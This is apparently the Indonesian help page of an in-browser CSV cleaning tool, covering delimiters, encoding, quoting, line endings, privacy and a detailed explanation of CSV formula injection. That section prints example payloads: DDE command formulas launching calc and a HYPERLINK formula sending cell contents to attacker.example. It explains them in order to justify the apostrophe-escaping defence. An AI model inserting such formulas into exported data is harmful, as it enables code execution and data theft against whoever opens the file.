Bahasa Indonesia

CSV Pembersih

Pembatas, header, duplikat, dan pengkodean yang rapi dalam ekspor spreadsheet.

Mengapa ekspor tiba rusak

File CSV sebenarnya bukan sebuah format, melainkan kumpulan konvensi. Spesifikasi yang ditunjukkan oleh sebagian besar alat, RFC 4180, ditulis dalam 2005 untuk mendeskripsikan apa yang sudah dilakukan perangkat lunak, bukan untuk memberi tahu apa yang harus dilakukan. Hasilnya adalah dua program dapat mengklaim dukungan CSV namun masih berbeda pendapat mengenai pembatas, akhir baris, gaya kutipan, dan pengkodean karakter.

Kejutan yang paling umum adalah pembatas. Perangkat lunak yang dijual di negara-negara yang menggunakan koma sebagai pemisah desimal — sebagian besar benua Eropa — sering kali mengekspor file yang dipisahkan titik koma, karena koma sudah sibuk. File-file itu masih diakhiri dengan .csv. Buka satu di alat yang menggunakan koma dan setiap baris diciutkan menjadi satu kolom.

Kejutan kedua yang paling umum adalah pengkodean. File yang disimpan sebagai UTF-8 sering kali dimulai dengan penanda tiga byte yang tidak terlihat yang disebut tanda urutan byte. Excel di Windows menggunakannya untuk mengenali UTF-8. Banyak alat Unix yang tidak mengharapkannya, sehingga tanda tersebut menempel pada nama header pertama dan kolom bernama "id" secara diam-diam menjadi kolom bernama "id" yang tidak akan pernah ditandingi oleh pencarian mana pun.

Muat dan periksa bentuknya

Pilih file Anda. Penguraian terjadi di thread pekerja latar belakang, sehingga ekspor dalam jumlah besar pun tidak akan membekukan halaman saat sedang dibaca.

Biarkan pembatas pada "Deteksi otomatis" untuk pertama kalinya. Deteksi bekerja dengan mengurai sampel dengan masing-masing pembatas kandidat dan memilih salah satu yang menghasilkan hasil persegi panjang paling konsisten — itulah sebabnya ia tidak tertipu oleh koma yang berada di dalam kolom tanda kutip pada file yang dipisahkan titik koma. Jika pratinjau masih terlihat salah, ganti secara manual.

Periksa jumlah baris dan kolom di bawah pemilih file sebelum melakukan hal lain. Jika jumlah kolom adalah 1, pembatasnya salah. Jika jumlah baris jauh lebih besar dari yang Anda harapkan, file tersebut mungkin berisi baris baru yang dikutip yang telah dirusak oleh alat lain.

  1. Pilih file .csv, .tsv, .txt, atau .json.
  2. Konfirmasikan pembatas yang terdeteksi, atau pilih pembatas secara manual.
  3. Baca ringkasan baris × kolom dan peringatan penguraian apa pun.
  4. Pindai tabel pratinjau untuk mencari kolom yang terlihat bergeser.

Pahami peringatan penguraian

Peringatan menyebutkan nomor baris tertentu, menghitung seperti yang Anda lakukan dalam editor teks, sehingga Anda dapat langsung melihat masalahnya.

Peringatan "baris acak-acakan" berarti suatu baris memiliki jumlah sel yang berbeda dengan header. Alat ini tidak pernah membuang sel-sel itu. Baris pendek diisi dengan bagian yang kosong dan baris panjang menyimpan nilai ekstranya, karena menghapus data seseorang secara diam-diam untuk membuat kisi terlihat rapi adalah hal terburuk yang dapat dilakukan alat pembersih. Perbaiki baris sumber jika koma tambahan merupakan kesalahan.

Peringatan "kutipan tidak tertutup" berarti tanda kutip ganda dibuka dan tidak pernah ditutup, sehingga segala sesuatu setelahnya dibaca sebagai satu bidang yang sangat besar. Ini hampir selalu merupakan kerusakan asli pada file sumber, dan perlu diperbaiki di bagian hulu, bukan di bagian hilir.

Bersihkan, lalu ekspor

Tombol pembersihan berlaku untuk seluruh tabel dan masing-masing dapat dibatalkan. Menghapus baris duplikat akan mempertahankan kemunculan pertama, sehingga baris asli tetap ada dan urutan data yang masih ada tidak berubah.

Kontrol kolom memungkinkan Anda mengganti nama header, memilih kolom mana yang akan diekspor, dan mengurutkan berdasarkan kolom mana pun. Pengurutan mendeteksi apakah suatu kolom berupa numerik: kolom numerik mengurutkan 9 sebelum 10, sedangkan kolom teks mengurutkan "10" sebelum "9", yang biasanya merupakan hal yang Anda inginkan dalam setiap kasus.

Sebelum mengunduh, lihat opsi ekspor. Opsi formula-injeksi-aman diaktifkan secara default dan dijelaskan dalam panduannya sendiri di bawah ini — ini adalah pengaturan di sini dengan konsekuensi keamanan yang sebenarnya.

Masalahnya dalam satu kalimat

File CSV tidak berisi kode, namun aplikasi spreadsheet akan dengan senang hati memperlakukan beberapa teksnya sebagai kode saat file dibuka.

Excel, Google Sheets, dan LibreOffice Calc semuanya menafsirkan sel yang karakter pertamanya =, +, - atau @ sebagai awal rumus. Perilaku itu disengaja dan berguna saat Anda mengetiknya sendiri. Ini menjadi kerentanan ketika konten sel datang dari suatu tempat di luar kendali Anda.

Bagaimana serangan sebenarnya bekerja

Bayangkan formulir web yang mengumpulkan nama, dan administrator yang secara berkala mengekspor kiriman ke CSV dan membukanya di Excel. Seorang penyerang mengirimkan nama yang bukan nama melainkan formula.

Payload klasik terlihat seperti =cmd|' /C kalk'!A0. Saat ekspor dibuka, Excel menguraikannya sebagai instruksi pertukaran data dinamis, bukan sebagai teks. Konfigurasi yang lebih lama dan belum dipatch akan mencoba meluncurkan program eksternal. Versi modern menampilkan perintah peringatan terlebih dahulu — tetapi perintah tersebut adalah satu-satunya penghalang antara payload dan eksekusi, dan pengguna mengklik perintah tersebut.

Eksfiltrasi data adalah varian yang lebih tenang dan tidak memerlukan DDE sama sekali. =HYPERLINK("https://attacker.example/?d="&A1,"Click untuk detailnya") membuat tautan yang berisi konten sel tetangga. Administrator yang penasaran mengkliknya, dan sederet spreadsheet meninggalkan gedung dalam URL. IMPORTXML di Google Spreadsheet dapat mengambil URL jarak jauh tanpa perlu klik sama sekali.

Poin pentingnya adalah penyerang tidak memerlukan akses ke spreadsheet, alat ekspor, atau mesin administrator. Mereka hanya memerlukan satu kolom teks yang pada akhirnya mencapai ekspor CSV. Inilah sebabnya mengapa kerentanan biasanya tercatat pada aplikasi yang menghasilkan file tersebut, bukan pada spreadsheet yang membukanya.

Apa yang dilakukan alat ini

Ketika "Formula-injeksi-aman" diaktifkan — dan diaktifkan secara default — setiap sel yang karakter pertamanya adalah =, +, -, @, tab, atau gerbong kembali diawali dengan satu apostrof sebelum ditulis.

Apostrof adalah penanda spreadsheet konvensional yang berarti "perlakukan sisa sel ini sebagai teks literal". Excel tidak menampilkannya di dalam sel; Anda hanya melihatnya di bilah rumus. Payload masih terlihat dan masih dapat dipulihkan sepenuhnya, namun bersifat inert.

Tab dan carriage return disertakan dalam daftar itu karena merupakan spasi yang dipangkas oleh beberapa filter naif sebelum memeriksa karakter pertama, yang memungkinkan payload lolos dari pemeriksaan yang hanya melihat indeks nol dari string yang dipangkas. Memeriksa karakter mentah pertama akan menutup celah itu.

  1. Biarkan "Formula-injeksi-aman" dicentang di panel Ekspor.
  2. Unduh CSV.
  3. Buka di Excel atau Spreadsheet: sel mirip rumus kini ditampilkan sebagai teks biasa.

Berapa biaya yang harus Anda keluarkan dari opsi ini — bacalah ini sebelum mematikannya

Mitigasi ini mengubah data Anda, dan tidak ada versi yang tidak mengubah data Anda. Jika sel benar-benar berisi =SUM(A1:A2) karena Anda menginginkan rumus yang berfungsi dalam output, ekspor aman mengubahnya menjadi teks literal =SUM(A1:A2) dan tidak akan dihitung. Spreadsheet tidak dapat membedakan formula yang Anda maksudkan dengan formula penyerang, begitu pula kami.

Itulah sebabnya mengapa ini merupakan perilaku yang terlihat dan bukan perilaku yang diam. Jika Anda mengekspor file yang seharusnya berisi rumus aktif, dan Anda memercayai setiap nilai di dalamnya, matikan opsi ini dengan sengaja dan sadar. Jika data berisi sesuatu yang berasal dari pengguna, formulir, pelanggan, survei, atau sistem eksternal, biarkan saja.

Ada satu kehalusan yang perlu diketahui. Implementasi yang naif menandai setiap sel yang dimulai dengan tanda minus, yang mengubah setiap angka negatif dalam file: -42 menjadi '-42 dan berhenti menjadi angka, secara diam-diam merusak seluruh kolom data keuangan. Alat ini mengecualikan nilai yang diurai sebagai angka biasa, jadi -42, -3.14 dan -1e5 lolos tanpa disentuh sementara -1+1+cmd|' /C calc'!A0 tidak, karena ini bukan angka.

Jika Anda membuat perangkat lunak yang mengekspor CSV

Melarikan diri saat menulis, bukan saat membaca. File yang Anda hasilkan harus aman untuk dibuka di mana saja, karena Anda tidak dapat mengontrol aplikasi mana yang membukanya atau berapa umur aplikasi tersebut.

Jangan mengandalkan dialog peringatan spreadsheet sebagai kendali Anda. Ini adalah garis pertahanan terakhir yang ditujukan kepada pengguna yang sedang mencoba menyelesaikan pekerjaannya, dan secara rutin ditutup.

Jangan mencoba menyelesaikan masalah ini dengan menghilangkan karakter berbahaya. Menghapus awalan = merusak data yang sah dan masih melewatkan payload yang dimulai dengan spasi. Mengawali dengan apostrof mempertahankan nilai aslinya dengan tepat sambil menghilangkan executabilitasnya, itulah sebabnya pendekatan ini merupakan pendekatan yang disarankan.

Mengutip aturan

Bidang harus diapit dengan tanda kutip ganda jika berisi pembatas, tanda kutip ganda, atau jeda baris. Di dalam kolom yang dikutip, kutipan ganda literal ditulis dua kali: "dia berkata" "hai""" adalah satu kolom yang berisi dia berkata "hai".

Alat ini mengutip minimal pada ekspor: bidang dibungkus hanya jika diperlukan. Itu berarti file yang setiap kolomnya diberi tanda kutip pada input mungkin akan keluar dengan tanda kutip yang lebih sedikit. Datanya identik — "Ada" dan Ada memiliki nilai yang sama — tetapi byte-nya berbeda. Jika Anda ingin setiap kolom diberi tanda kutip, gunakan opsi "Kutip setiap kolom".

Bidang dengan spasi awal atau akhir yang bermakna selalu dikutip, karena beberapa parser menghapus padding yang tidak diberi tanda kutip dan sebaliknya akan mengubah nilai Anda.

Akhiran garis

RFC 4180 menentukan CRLF di antara catatan, dan itulah yang ditulis oleh alat ini secara default, karena ini adalah pilihan yang paling kompatibel secara luas di seluruh alat Windows dan Unix.

Pada masukan, ketiga konvensi diterima: CRLF, LF dan CR tunggal. Baris baru di dalam bidang yang dikutip dipertahankan sebagai bagian dari nilai dan tidak memulai baris baru.

Apa yang terjadi pada data Anda

File Anda dibaca oleh browser, diuraikan dalam Web Worker di perangkat Anda, diubah dalam memori, dan ditulis kembali oleh mekanisme pengunduhan browser itu sendiri. Itu tidak pernah ditularkan.

Tidak ada yang disimpan. Tidak ada penyimpanan otomatis, tidak ada database lokal, dan tidak ada riwayat yang bertahan saat halaman dimuat ulang. Menutup tab akan membuang semuanya; "Hapus data" melakukan hal yang sama dengan segera.

Analisis dan periklanan dinonaktifkan pada produk ini, di setiap lingkungan. Tidak ada data penggunaan tentang file Anda — baik nama, ukuran, konten, atau nama kolomnya — yang dikumpulkan, karena tidak ada satupun yang dikirim ke mana pun.

Pertanyaan yang sering diajukan

Apakah spreadsheet saya diunggah di mana saja?
Tidak. File dibaca oleh browser Anda, diuraikan dalam Web Worker di perangkat Anda, dan ditulis kembali oleh browser Anda. Tidak ada komponen server dalam alat ini dan tidak ada titik akhir untuk pengiriman data. Anda dapat mengonfirmasi hal ini dengan membuka panel jaringan browser Anda dan melihatnya tetap kosong saat Anda bekerja.
Mengapa file saya dibuka sebagai satu kolom?
Pembatasnya salah. Atur secara manual — titik koma adalah jawaban umum untuk ekspor dari perangkat lunak Eropa, dan tab untuk file yang benar-benar TSV dengan ekstensi .csv.
Untuk apa opsi UTF-8 BOM?
Excel di Windows menggunakan tanda urutan byte untuk mendeteksi bahwa suatu file adalah UTF-8. Tanpanya, karakter beraksen dan skrip non-Latin dapat muncul sebagai mojibake ketika file diklik dua kali. Aktifkan jika file ditujukan untuk Excel; biarkan saja jika file memasukkan skrip atau impor database, karena beberapa parser yang ketat memperlakukan tanda tersebut sebagai data.
Apakah menghapus duplikat akan mempertahankan salinan pertama atau terakhir?
Yang pertama. Baris asli tetap di tempatnya dan salinan selanjutnya akan dihapus, sehingga urutan data yang Anda simpan tidak berubah.
Bisakah saya mengonversi antara CSV dan JSON?
Ya, di kedua arah. Muat file .json yang berisi array objek dan itu menjadi tabel; ekspor tabel apa pun sebagai JSON. Nama kolom duplikat diberi sufiks numerik daripada saling menimpa, dan nilai yang disarangkan diurutkan sebagai teks JSON di dalam sel.
Seberapa besar file yang dapat ditanganinya?
Batasnya ditetapkan pada 50 MB. Batasan sebenarnya adalah memori perangkat Anda, karena seluruh file disimpan di tab. Ponsel akan bermasalah sebelum laptop mengalami masalah. Parsing berjalan di pekerja sehingga antarmuka tetap responsif, tetapi file yang sangat besar masih membutuhkan waktu.

Apa yang tidak bisa dilakukan alat ini